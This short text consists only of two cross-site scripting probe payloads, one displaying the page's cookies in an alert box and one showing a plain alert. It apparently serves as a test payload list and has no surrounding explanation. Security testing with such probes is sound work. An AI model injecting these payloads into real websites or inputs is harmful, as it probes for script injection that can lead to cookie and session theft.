<script>alert(document.cookie)</script>

<script>alert(1)</script>